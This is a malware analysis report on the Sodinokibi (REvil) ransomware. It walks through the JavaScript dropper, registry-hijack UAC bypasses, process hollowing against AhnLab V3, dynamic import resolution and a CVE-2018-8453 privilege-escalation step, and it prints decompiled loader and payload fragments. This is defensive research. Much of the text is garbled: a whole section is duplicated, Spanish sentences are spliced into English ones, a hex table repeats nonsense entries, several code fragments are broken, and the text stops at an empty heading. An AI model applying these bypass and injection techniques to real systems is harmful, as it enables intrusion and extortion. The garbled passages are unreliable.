Sodinokibi
Malware report

Jorge Barelles Menes | Pablo Cardós Marqués
Aaron Jornet Sales | Javier Muñoz Alcázar

19 | 06 | 2020
Index

1. Executive report

2. Features

3. Entry vector

4. Interaction with infected system
   4.1. Privileges
   4.2. Process Hollowing

5. Sodinokibi
   5.1. Obtaining Import Address Table (IAT)
   5.2. Preparation and Mutex
   5.3. Privilege escalation and CVE-2018-8453 Exploit
   5.4. Process securing
   5.5. TXT and JSON
   5.6. List of excluded languages
   5.7. List of processes to finalize
   5.8. Deletion of ShadowCopies
   5.9. Emptying of Folders
   5.10. Encryption
   5.11. Bitmap
   5.12. Connection to C2 server

6. Ransom

7. IOC

8. References
1. Executive report

This document contains an analysis of a sample of the ransomware Sodinokibi.

The ransomware Sodinokibi, also known as REvil, first appeared in the second half of 2019. This ransomware is characterized by its advanced evasion capacity and the large number of measures that it takes to avoid being detected by antivirus engines. It has also been observed that this ransomware exploits a vulnerability in Oracle Weblogic servers. This characteristic makes Sodinokibi something of an anomaly. However, like many other ransomware families, Sodinokibi is a RaaS (ransomware as a service), which means that while one group maintains and writes the code, another group delivers the malware. [3]

Throughout 2019, there was a progressive increase in the number of companies being attacked by cybercriminals using this ransomware.

Figure 1.1: Extract from Hoy Aragón about a Sodinokibi attack [Hackers take files hostage in Zaragoza City Hall during a cyberattack] [1].

Figure 1.2: Extract from noticiasseguridad.com about a Sodinokibi attack [Ransomware closes a 100 year-old auto parts company; over 4,000 jobs lost] [2].
Sodinokibi has attacked **a wide range of targets in a large number of countries** [3]. However, the focus of attacks with this ransomware has been Europe, the USA, and India.

![Figure 1.3: Map showing Sodinokibi attacks.](image)

**Spain** is ninth on the list of most affected countries.

![Figure 1.4: TOP 19 countries affected by Sodinokibi](image)
Despite having been discovered in the first half of 2019, Sodinokibi was the **most lucrative ransomware in the last quarter of the year**, earning almost 8% more than Ryuk [4].

Figure 1.5: Costs caused by ransomware in Q4 2019.
2. Features:

2.1. General features JavaScript loader

JavaScript, which launches this ransomware, isn’t in our events, but the detection is registered on our systems, categorized as malware since 05/01/2019.

MD5:3E974B7347D347AE31C1B11C05A667E2

Figure 2.1: Characteristics of the MD5 referring to the JS loader.

On VirusTotal (VT), you can see that most engines classify it as a dropper. You can also see that other analysis platforms have detected it as the JS that launches Sodinokibi.

Figure 2.2: Images from VT referring to Sodinokibi.
2.1.1. Technical characteristics of loader:

This JavaScript creates other Scripts and obfuscated DLLs, which it launches on the system. The main aim of these is to bypass the UAC to obtain privileges and hollow the process in order to run Sodinokibi. We go into more detail about this in point 4, “Interaction with infected system”.

- **In phase 1**, it carries out this bypass using CompMgmtLauncher, which always searches for a registry key, which, by default, does not exist.

![Figure 2.1.1. Failed registry search.](image)

This means it will be created with the content of one of the PowerShells (PS) that it wants to execute with administrator privileges.

![Figure 2.1.2. Creation of Key with PS content.](image)

- **In phase 2**, it will carry out the process hollowing. It will try to do this on the Ahnlab antivirus.

```c
sub_402F84(v4, v3, v9, &loc_412E88, &savedregs);
Sleep(0);
v6 = sub_4128FC(v5, "HELP");
sub_407957();

if (ServerStatusCheck(v8, (int)v3 "V3 Service")
	&& CheckAutoExitRoute((int)"C:\Program Files\AhnLab\V3Lite38\Update2\Update\autoup.exe" ))
{
Sleep(1200000);
StartProcessHollowing(0x414884,
(signed __int32)"C:\Program Files\AhnLab\V3Lite38\Update2\Update\autoup.exe");
}

EDRCheck(dword 414884, 0, *(DWORD *)(v6 - 4));
sub_402F84();
Sleep(899000000);
```

![Figure 2.1.3. Structure of search of Ahnlab.](image)

Given that it is likely that this process does not exist, another PS instance will be created on another process to perform the action. In the image you can see how the strings are obtained in order, the in-memory processes are read, and how it tries to access one of them.
2.2. Characteristics of the Sodinokibi payload

There are many variants of the payload, as well as of the loader, due to the fact that Sodinokibi is a RaaS (Ransomware as a Service). There are different versions of the ransomware since it is constantly being updated.

This malware first appeared in 2019: On 04/26/2019 it was first seen in attacks on several companies.

2.2.1. Technical characteristics of Sodinokibi payload

is payload is an executable loaded in memory. Its main aim is to perform the most important task of this ransomware: Encrypting the files and demanding a ransom for them. Within this executable there are distinct parts where you can see how it achieves all of this. We go into more detail about this in section 5, “Sodinokibi”. Its most important characteristics are:

- Gathering the Import Address Table (IAT), where it will dynamically obtain all the imports that it will use throughout the process. In the image are some of the libraries that it has loaded.
• **Exploit for CVE 2018-8453**, a vulnerability in Win32k, which will be used if administrator privileges still haven’t been achieved.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberación incorrecta de recursos
Gravedad: Alta
Fecha publicación: 10/10/2018
Última modificación: 02/01/2019

Descripción


Figure 2.2.2. CVE 2018-8453.

In the process, you can see how it obtains the files and attributes that it needs from Win32k. It then launches this exploit.

```plaintext
push cax
call dword ptr ds:[#GetFileAttributesEx]
```

Figure 2.2.3. Obtaining Win23k attributes.

• **Json**. This section may be the most important, as the malware relies on this file at all times to make checks, such as: Where it has to send user information, what folders to check, what files to encrypt, etc. This file is stored in a section of Sodinokibi, as .grrr. It contains several ways to monitor bugs, and if the Json is tampered with, the execution is aborted.

<table>
<thead>
<tr>
<th>Name</th>
<th>Virtual Size</th>
<th>Virtual Address</th>
<th>Raw Size</th>
<th>Raw Address</th>
<th>Reloc Address</th>
<th>LineNumbers</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000240</td>
<td>00000240C</td>
<td>00000235C</td>
<td>00000235</td>
<td>00000235</td>
<td>00000235C</td>
<td></td>
</tr>
<tr>
<td>Byte[8] Dword Dword Dword Dword Dword Dword Dword</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.text</td>
<td>00009974</td>
<td>00010900</td>
<td>00009A400</td>
<td>00000400</td>
<td>00000000</td>
<td>00000000</td>
</tr>
<tr>
<td>.data</td>
<td>0000F780</td>
<td>00080000</td>
<td>0008F0000</td>
<td>00009800</td>
<td>00000000</td>
<td>00000000</td>
</tr>
<tr>
<td>.data</td>
<td>00001370</td>
<td>0000B000</td>
<td>0000F0000</td>
<td>00009800</td>
<td>00000000</td>
<td>00000000</td>
</tr>
<tr>
<td>.grr</td>
<td>0000C000</td>
<td>0000D000</td>
<td>0000C8000</td>
<td>00001A000</td>
<td>00000000</td>
<td>00000000</td>
</tr>
<tr>
<td>.reloc</td>
<td>0000050C</td>
<td>0002A000</td>
<td>000006000</td>
<td>00027000</td>
<td>00000000</td>
<td>00000000</td>
</tr>
</tbody>
</table>

Figure 2.2.4. Json in .grr section.
3. Entry vector

The most common way for Sodinokibi to get onto systems is through a malicious email sent as part of a phishing campaign. This email contains a link where the user will download a .zip file containing the Sodinokibi loader. The attackers distribute the malware this way since it makes it easier to reach victims. On the other hand, distributing the malware within a .zip file helps it to get around some malware protections on the computer that is to be infected.

The .zip file normally contains an obfuscated JavaScript file, like the one to be analyzed in this report.

4. Interaction with infected system

Firstly, we can see the obfuscated JavaScript, which will be responsible for dropping, deobfuscating, and launching a PS script.

![Diagram of how the loader works.](image)

Figure 4.1: Diagram of how the loader works.

When executed, you can see that it launches a wscript.exe to launch the JavaScript (JS) which, in turn, will execute a PS that will perform a bypass to escalate privileges- This is carried out with a file generated in %temp%, called jurhrtcbv.jmp.

```javascript
var spaevuntKbptg = new ActiveXObject('Scripting.FileSystemObject');
var wtwjgacemt = WScript.CreateObject("WScript.Shell");
var dtgkddivos = wtwjgacemt.ExpandEnvironmentStrings("%TEMP%\"\"\);
var axqoso = WScript.CreateObject("shell.application");
function noysdxvyou(dfmpln,Twruioa) {
  var tzmcs = dfmpln.split("\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"");
  aqdcuxr += 1;
  for (i = 0; i < (tzmcs.length / 2); i++) {
    aqdcuxr += String.fromCharCode(0x + tzmcs.substr(i + 2, 2));
  }
  var oxjdbcwbln = new ActiveXObject("ADODB.Stream");
  oxjdbcwbln.Type = 2;
  oxjdbcwbln.charset = "ISO-8859-1";
  oxjdbcwbln.Open();
  oxjdbcwbln.WriteText(aqdcuxr);
  if (spaevuntKbptg.FileExists(dtgkddivos + "jurhrtcbv.jmp")) {
    WScript.Quit();
  }
  oxjdbcwbln.SaveToFile(dfmpln, 2);
  oxjdbcwbln.Close();
}
```

Figure 4.2: Execution of dropping in temp.
t then launches a PS to deobfuscate the tmp and run it. The PowerShell is launched by wscript.exe.

![wscript.exe](image1)

**Figure 4.3: Deobfuscation of tmp.**

When the PowerShell has finished executing, it will try to contact one of the 3 domains that can be seen in the following image, and will then finish.

![Connection to three domains](image2)

**Figure 4.4: Connection to three domains**

The dropped tmp `jurhrtcbvj.tmp` is also an obfuscated script, which first tries to deobfuscate with the sign “!” and then by loading a base64. You will see that it contains another string in base64, which will launch an install1() function, which will load a dll.

![First deobfuscation of the script](image3)

**Figure 4.5: First deobfuscation of the script.**

By replacing the execution scrips with what was written in the file, we managed to deobfuscate the script.

![Second deobfuscation](image4)

**Figure 4.6: Second deobfuscation**
The file obtained is a .NET module that contains a function called Install1(), which will load in memory and execute the content of an obfuscated variable in base64.

![Figure 4.7: Obfuscated Install1() containing first dll](image)

### 4.1. Phase 1: Privileges

Once the bas64 is deobfuscated, a dll is obtained, which is responsible for bypassing the UAC seen in the dynamic section in the previous point.

![Figure 4.1.1. Diagram of bypass](image)

Firstly, the dll checks the privileges that the processes have, since it will need administrator permissions to perform all the actions. To do this, by calling functions AllocateAndInitializeSid and CheckTokenMembership, it checks what group of users the token belongs to and, therefore, what permissions it has.

In the first image, you can see how an SID initializes. Once it is ready, it makes the check in step two. With this, it will determine that the SID is available for the access token. As you can see, TokenHandle is called with the argument 0, that is, no string is specified, and the default string is used.
This step serves to check whether the process used has administrator permissions, since when it is executed, it does not have sufficient permissions and must elevate them. This is the step before escalating UAC permissions.

```
lea  eax, [ebp+pSid]
push eax       ; pSid
push 0         ; nSubAuthority7
push 0         ; nSubAuthority6
push 0         ; nSubAuthority5
push 0         ; nSubAuthority4
push 0         ; nSubAuthority3
push 0         ; nSubAuthority2
push 220h      ; nSubAuthority1
push 20h       ; nSubAuthority0
push 2         ; nSubAuthorityCount
push offset pIdentifierAuthority ; pIdentifierAuthority
call AllocateAndInitializesid

call sub_4007BC
lea  eax, [ebp+IsMember]
push eax       ; IsMember
mov eax, [ebp+pSid]
push eax       ; SidToCheck
push 0         ; TokenHandle
call CheckTokenMembership
```

Figure 4.1.2. SID structure filling.

As mentioned above, if it does not have admin privileges, it will continue and will not reach the final part of the dll.

```
call _CheckToken
test al, al
jnz loc_41388F
```

Figure 4.1.3. Conditional that checks if there are admin privileges.

We reach the bypass and find two ways of carrying it out. The first function, which we have seen in the above diagram, uses CompMgmtLauncher to carry out the privilege scaling if it hasn’t been able to carrying out this scaling already. Since it could be patched, it will be carried out using DelegateExecute with ComputerDefaults.exe, another very similar technique.

In steps, in the first function, which is the one that is carried out, it creates a new registry entry in Software\Classes\mscfile\open\command\.
This is done since, by default, the dll searches for this registry and doesn’t find it. This is a commonly used technique in dll hijacking.

It then makes use of CompMgmtLauncher and explorer.exe. The aim is to create a new instance of explorer.exe, which will launch CompMgmtLauncher. When it is launched, this dll will search for the MgmtLauncher registry. Having created a new registry entry with this name, and with the contents of the script, the PS will be executed with administrator permissions, given that, as you can see, this executable belongs to System32.
Once this procedure has been executed with RUNAS, it will delete the registry key to avoid being detected on the system. **CompMgmtLauncher** comes from Computer Management, i.e., **mmc.exe** (Microsoft Management Console), a component of Windows. This means that when the command is executed, it simply calls mmc.exe, and the vulnerability exploits the launcher.

CompMgmtLauncher has autoelevate characteristics, meaning that if an app is launched with this executable, it will be launched with admin permissions. When it is executed, it seeks a registry key by creating the key with a cmd and a PowerShell inside. When the system is told to execute CompMgmtLauncher, it will look for the key, find it, execute it, and launch the PS with admin privileges.

![Figure 4.1.7. Call to mmc.exe](image)

There is a second option: To escalate using DelegateExecute, i.e., scaling using a fileless method. In this case, you can see how a key entry is carried out Software\Classes\ms-settings\shell\open\command\, which is done using a vulnerability where, by default, when it runs, ComputerDefaults tries to search for a key Software\Classes\ms-settings\shell\open\command\DelegateExecute, which does not exist. Having created it, when an attempt is made to execute ComputerDefaults, we get a shell with scaled permissions.

![Figure 4.1.9. Characteristics of Autoelevate in CompMgmtLauncher](image)
privileges, or in other words, in this case, a new PS is launched as admin.

In both cases, you can see how it deletes the key once it has scaled privileges.

If we continue to analyze the dll, you can see that in Resources, there is an encrypted PE called “Help”, which represents the process injection and process hollowing in phase 2.

This PE is another dll, which is decrypted and executed again in memory. To do this, you can see that it uses a XOR to decrypt it. If a loop is launched, you can see how headings and the usual MZ of a PE appears.
Once deobfuscated in memory, we get the following dll, and can move on to phase 2.

### 4.2. Phase 2: Process Hollowing

The second loader is used to load the final payload, trying to hollow the process on the Ahnlab antivirus. If the computer doesn’t contain this process, the executable creates another instance of PowerShell where it will try to hollow another process.

In the red box you can see the main feature of the DLL. It first carries out a call to `_ServerStatusCheck` with the parameters `V3 Service` and `0`.

```plaintext
"eff 413518 = 1;
sub_485758();
v5 = &savedregs;
v9 = &loc_412B8B;
v9 = NtCurrentTeb().NtTib.ExceptionList;
_writefsword(0, (unsigned int *)&v8);
LOGYE(v5) = 1;
sub_4402BFA4(v4, v3, v9, &loc_412D08, &savedregs);
sleep(nan);
v6 = sub_412B8F(v6, "HELP");
 sog492DC(0x2, _kdword 448041);

if (_ServerStatusCheck(0x1, "V3 Service")
  & CheckAutoStartRoute((int)"C:\Program Files\AhnLab\V3Lite30\Update\Update\autoup.exe")
  {
    sleep(12000000);
    StartProcessHollowing(
      _kdword 414884,
      (signed int)x3)="C:\Program Files\AhnLab\V3Lite30\Update\Update\autoup.exe";
    ExitCheck(_kdword 414885, 0, "(DWORD )"\(w + 4));
  }
    sub_482F8F();
  sleep(899000000);
    _writefsword(0, (unsigned int)v9);
    v8 = (int *)&loc_412B8F;
    sub_44034000();
```

Figure 4.2.1. Structure of the second loader.
We discover that this subroutine effectively returns a Boolean when comparing the result of `GetServerStatus` with 4. We proceed to see what `GetServerStatus` does, which obtains “V3 Service” and 0 as parameters.

```c
bool __usercall ServerStatusCheck(int al@ecx, int a2@edx, int a3@eax)
{
    return GetServerStatus(a3, a2) == 4;
}
```

Figure 4.2.2. Function ServerStatusCheck.

This subroutine makes a call to the function `OpenSCManagerA`, which carries out a connection with the service manager and tries to access the “V3 Service”.

If it manages to gain access, with the function `OpenServiceA` it accesses the service again, and with `QueryServiceStatus` it obtains the status of the service, which it will return as a result of the subroutine. The status of the service corresponds to a numerical code, which checks that it corresponds to 4, i.e., checks that the service is functioning. Once it checks that it is functioning and that the executable “autoup” is in the indicated path, it carries out a sleep, and finally, process hollowing on the service by calling `StartProcessHollowing`.

```c
v3 = 0;
v4 = OpenSCManagerA(V3_Service, 0, 1u);
v5 = v4;
if (v4)
{
    v6 = OpenServiceA(v4, a2, 4u);
v7 = v6;
    if (v6)
    {
        if (QueryServiceStatus(v6, &v9))
        {
            v3 = v9.dwCurrentState;
            CloseServiceHandle(v7);
        }
        CloseServiceHandle(v5);
    }
    return v3;
}
```

Figure 4.2.3. Function StartProcessHollowing.

If the AV isn’t installed, the call to `EDRCheck` launches an instance of PowerShell and tries to carry out process hollowing.

```c
v8 = (CHAR*)sub_4E3F6F4();
v9 = (const CHAR*)sub_4E3F6F4();
if (CreateProcessA(v9, v8, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation))
{
    lpContext = (LPCONTEXT)sub_4128A4();
    if (lpContext)
    {
        lpContext->ContextFlags = 05543;
        if (GetThreadContext(ProcessInformation.hThread, lpContext))
        {
            ReadProcessMemory(
                ProcessInformation.hProcess,
                (LPVOID)(lpContext->EBX + 8),
                &Buffer,
                4u,
                &NumberOfBytesRead);
            if (*(_DWORD*)(v4 + 52) == Buffer && NTWow64ViewOfSection(ProcessInformation.hProcess, *(PVVOID*)(v4 + 52)))
            {
                lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, *(_DWORD*)(v4 + 80), 0x3000u, 0x40u);
            }
            else
            {
```
Una vez se ha realizado el Process Hollowing, veremos, como de nuevo, vuelve a desofuscar mediante una XOR, usando la misma técnica que hemos visto en la Fase 1, con el objetivo de extraer el payload del Sodinokibi.

5. Sodinokibi

Once we have the payload, we are left with the last part of the ransomware. The main diagram of its phases, which we will follow in this section, and a brief summary of its parts, is the following:
• **GetLibraries**: This function dynamically loads libraries that will later be used.
• **CreateMutex**: Creates a Mutex.
• **CheckExp**: Checks if it needs to escalate privileges. Exp is the value that it will check, which will be True or False on the Json, depending on whether or not it has sufficient privileges.
• **Exploit**: Carries out Exploit CVE 2018-8453.
• **GetProcessRun**: Obtains and launches Explorer.exe.
• **PrepareCipher**: Carries out all of Sodinokibi’s tasks, obtains Json, executes language lists, lists of processes to end, deleting ShadowCopies, etc.

### 5.1. Obtaining Import Address Table (IAT)

After the two loader phases, we get the MD5 payload: B488BDEEAEDA94A273E4746DB0082841, which is the ransomware Sodinokibi, which is obfuscated and has no import. This means that the imports will have to be obtained dynamically.

![Image of imports](image1)

**Figure 5.1.1. Imports of the sample**

In the main function you can see that it carries out a call to two functions. The first of these has more code, and the second carries out a dynamic call. This call is an ExitProcess, which means that the important actions are carried out in the first call.

![Image of function on entrypoint](image2)

**Figure 5.1.2. Function on the entrypoint.**

In the first function, the first thing carried out is to dynamically import the functions of the system that it is going to use. To obtain them, it uses a loop to call a function, changing the entry parameters.

![Image of loop to obtain system functions](image3)

**Figure 5.1.3. Loop to obtain system functions.**
This function translates the number that it has as an entry parameter into the function in the corresponding library.

This function is divided into two parts; the first obtains the library and the second obtains the specific function.

![Figure 5.1.4. Structure of "_BuildIAT"](image)

For the part where the library is obtained, it starts by carrying out operations on the entry parameter. This number is used to go through the different nested ifs and finishes in the function that gives the library what it has requested.

![Figure 5.1.5. Functions to obtain libraries.](image)
Let’s take a look at how one of these functions work, for example, the function “_advapi32dll”.

This function calls odin_decrypt_string in order to get the name of the library that it wants to obtain, in this case advapi32.dll. Once it has the name of the library, it needs to load it in memory. For this it needs the function kernel32.LoadLibrary, which is obtained by calling _BuildIAT” giving it the value 57820074h.

Once it has the address of the function kernel32.LoadLibrary, located in eax, it only has to call it, moving the name of the library to the top of the stack. This will load the library in memory (if it isn’t already loaded) and will return its position.
In the second part of _BuildIAT_, the desired function is obtained from the library that was previously obtained. To do this, it carries out operations using a list of functions as entry data, and obtains a number that is added to the base address of the library and obtains the function address.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>7682F2FB</td>
<td>66 64 64 49</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7682F2FC</td>
<td>66 64 64 49</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7682F2FD</td>
<td>69 70 74 6F</td>
<td><em>LptOpenDirectoryDescr</em></td>
</tr>
<tr>
<td>7682F2FE</td>
<td>66 64 64 49</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7682F2FF</td>
<td>66 64 64 49</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853008</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685300C</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685300F</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853010</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853011</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853012</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853013</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853014</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853015</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853016</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853017</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853018</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853019</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301A</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301B</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301C</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301D</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301E</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685301F</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853020</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853021</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853022</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853023</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853024</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853025</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853026</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853027</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853028</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853029</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302A</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302B</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302C</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302D</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302E</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685302F</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853030</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853031</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853032</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853033</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853034</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853035</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853036</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853037</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853038</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>76853039</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303A</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303B</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303C</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303D</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303E</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
<tr>
<td>7685303F</td>
<td>65 72 6E 61</td>
<td>AddIntegrityFace</td>
</tr>
</tbody>
</table>

Figure 5.1.9. Entry data to obtain the function address.

Once we know how a function is obtained from a library, we can return to figure 5.1.3, where we can see that it makes the loop to obtain all the system functions that it needs, and stores them, creating an IAT (Import Address Table).

Figure 5.1.10: Creation of the IAT
5.2. Preparación y Mutex

Along the same lines, we see that where we had a dword, we now had an OpenProcessTokek. As you can see, this brings us to all of the imports that it will run through.

Before:

After:

Figure 5.2.1. Change after obtaining the imports.
After creating the IAT, it checks to see if it is executing in an instance of itself on the system. To do this, it uses the Mutex function, using a string that it deobfuscates as an identifier. In this sample, the identifier is:

```
"Global\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A".
```

5.3. Privilege scaling Exploit CVE 2018-8453

5.3.1 Checking if it has to scale privileges

Once it has checked the Mutex, it checks its settings file to see whether or not it has to scale privileges. This file is a Json that extracts one of its sections and will be explained below.

The parameter that indicates if it needs to scale privileges is exp. If it is false, it won’t scale privileges. To know the value of exp, it processes the Json data, changing false and true into zero or one.

```
01F5FA1B "10 00 00 00 00 0059FA1B 01 00 00 00"
```

This sample doesn’t need to scale privileges because it has already scaled them, so exp=false. It is common for this kind of malware to make several checks and privilege scales in different phases in order to reach its target even without the loader, explained in point four. In this case, this exploit function was totally skipped in the execution since exp=false.

5.3.2 Exploitation

In order to scale privileges, it uses the vulnerability CVE-2018-8453, which exploits a vulnerability in win32k.

```
call strdup_urlstring ; L"Global\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
add esp, 14h
xor eax, eax
mov [ebp+var_2], eax
xor esi, esi
lea eax, [ebp+var_58]
push eax ; nombre del mutex->L"Global\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
push esi ; 0
push esi ; 0
call CreateMutexW ; CreateMutex
mov dword_41C08C, eax ; mutexhandler
```

5.3. Privilege scaling Exploit CVE 2018-8453

5.3.1 Checking if it has to scale privileges

Once it has checked the Mutex, it checks its settings file to see whether or not it has to scale privileges. This file is a Json that extracts one of its sections and will be explained below.

The parameter that indicates if it needs to scale privileges is exp. If it is false, it won’t scale privileges. To know the value of exp, it processes the Json data, changing false and true into zero or one.

```
01F5FA1B "10 00 00 00 00 0059FA1B 01 00 00 00"
```

This sample doesn’t need to scale privileges because it has already scaled them, so exp=false. It is common for this kind of malware to make several checks and privilege scales in different phases in order to reach its target even without the loader, explained in point four. In this case, this exploit function was totally skipped in the execution since exp=false.

5.3.2 Exploitation

In order to scale privileges, it uses the vulnerability CVE-2018-8453, which exploits a vulnerability in win32k.

```
call strdup_urlstring ; L"Global\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
add esp, 14h
xor eax, eax
mov [ebp+var_2], eax
xor esi, esi
lea eax, [ebp+var_58]
push eax ; nombre del mutex->L"Global\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
push esi ; 0
push esi ; 0
call CreateMutexW ; CreateMutex
mov dword_41C08C, eax ; mutexhandler
```

It starts by obtaining the folder containing the file needed for the exploitation, Win32k, so it needs to exploit the file in order to exploit it.
Empieza obteniendo la carpeta donde está el fichero mediante las funciones It starts by obtaining the file containing the file via the functions Wow64DisableWow64Redirection and GetSystemDirectoryw.

Wow64DisableWow64Redirection makes sure the calls are not redirected to the 64bit folder and GetSystemDirectoryw of the system folder when it requests the system folder with a 32bit folder.

![Figure 5.3.2.2: Disbaling Wow64FsRedirection.](image)

This gives the address “c:\windows\system32”. This joins the strings that deobfuscate win32kfull.sys and win32k.sys, thus obtaining the full name of the file needed to carry out the exploit.

```asm
  lea   eax, [ebp+var_14]
  call  Wow64DisableWow64FsRedirection
  push  eax
  lea   eax, [ebp+var_15]
  call  GetSystemDirectoryw
  test  eax, eax
  jz    short loc_406198

  loc_4061C8:  ...
  push    164h
  lea     eax, [ebp+var_288]
  push    eax
  call    GetSystemDirectoryw
  test    eax, eax
  jz      short loc_406198
```

![Figure 5.3.2.3: Getting the name via win32kfull.sys.](image)
Finally, it checks which of the two files exists in the system using GetFileAttributesEXw. If it doesn’t exist, there is an error and it returns 0. In our case, the existing file is win32k.sys. It also checks that the file is old enough to be exploited via CompareFileTime.

In the following function, it will first check the architecture of the processor. The main aim is to find out how much memory it needs to reserve to carry out the exploit, if it needs to do so. It reserves 38400 (0x9600) space in memory, or if not, 13824 (0x3600).

```c
if (result)
{
    if (ArchType())
    {
        v2 = L"a";
        v3 = (WCHAR *)38460;
    }
    else
    {
        v2 = (wchar_t *)&unk_414858;
        v3 = (WCHAR *)13824;
    }
}

BOOL ArchType()
{
    struct _SYSTEM_INFO vi; // [esp+0h] [ebp-24h]
    GetNativeSystemInfo(&vi);
    return vi.u.s.wProcessorArchitecture == 9;
}
```

The processor architecture of the installed operating system. The

<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>PROCESSOR_ARCHITECTURE_AMD64</td>
<td>x64 (AMD or Intel)</td>
</tr>
</tbody>
</table>

Figure 5.3.2.5: Checking architecture.
It will then know the space it needs and will carry out a VirtualAlloc to reserve memory and copy this exploit to the assigned space.

The exploit is stored in the section .rdata, and will be copied to this section.
Once it has the exploit in memory, it will dynamically load the libraries, where it first obtains the functions LoadLibrary and GetProcAddress. It then uses these functions to load and obtain the addresses of the functions that it will need to create its own IAT.

Figure 5.3.2.8: Loading of libraries.
Once it has all the functions, it will then carry out the exploit.

![Diagram of the Exploit function in x32dbg.](image)

### 5.4. Process securing

